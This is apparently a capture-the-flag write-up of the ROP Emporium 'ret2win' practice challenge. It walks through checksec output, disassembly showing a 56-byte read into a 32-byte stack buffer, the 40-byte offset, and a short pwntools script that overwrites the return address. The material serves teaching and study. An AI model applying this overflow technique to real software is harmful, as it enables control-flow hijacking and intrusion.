ROP Emporium: ret2win

Classic buffer overflow exploiting a vulnerable read() to redirect execution to a win function

Challenge Info

Basic ret2win style challenge - overflow a buffer to redirect program execution to a function that prints the flag.

Recon

1
2
$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

64-bit executable, dynamically linked, not stripped - symbols will be available for analysis.

1
2
3
4
5
6
7
8
pwndbg> checksec
File: ret2win
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

Key takeaways:

  • No stack canary - buffer overflow won’t be detected
  • NX enabled - can’t execute shellcode on the stack
  • No PIE - addresses are fixed, no ASLR on the binary

Finding the Target

1
2
3
4
pwndbg> info functions
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win

Three functions of interest: main, pwnme, and conveniently named ret2win at 0x400756.

Vulnerability Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
...
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
...
End of assembler dump.

The vulnerability is clear - classic buffer overflow pattern:

Safe Pattern Unsafe Pattern (This Binary)
sub rsp,0x20 (allocate 32 bytes) sub rsp,0x20 (allocate 32 bytes)
lea rax,[rbp-0x20] (point to buffer) lea rax,[rbp-0x20] (point to buffer)
mov edx,0x20 (read 32 bytes) mov edx,0x38 (read 56 bytes)

The program allocates 32 bytes but reads 56 bytes - that’s 24 bytes of overflow, enough to overwrite the saved RBP (8 bytes) and return address (8 bytes).

Calculating the Offset

Stack layout at pwnme:

1
2
3
[buffer: 32 bytes] [saved RBP: 8 bytes] [return address: 8 bytes]
^
rbp-0x20

Offset to return address: 32 + 8 = 40 bytes

Exploitation

The exploit is straightforward:

  1. Send 40 bytes of padding to reach the return address
  2. Overwrite return address with ret2win function address
1
2
3
4
5
6
7
8
9
from pwn import *

p = process('./ret2win')

payload = b'A' * 40
payload += p64(0x400756) # ret2win address

p.sendline(payload)
p.interactive()

When pwnme executes ret, it pops our crafted address into RIP and jumps to ret2win, which prints the flag.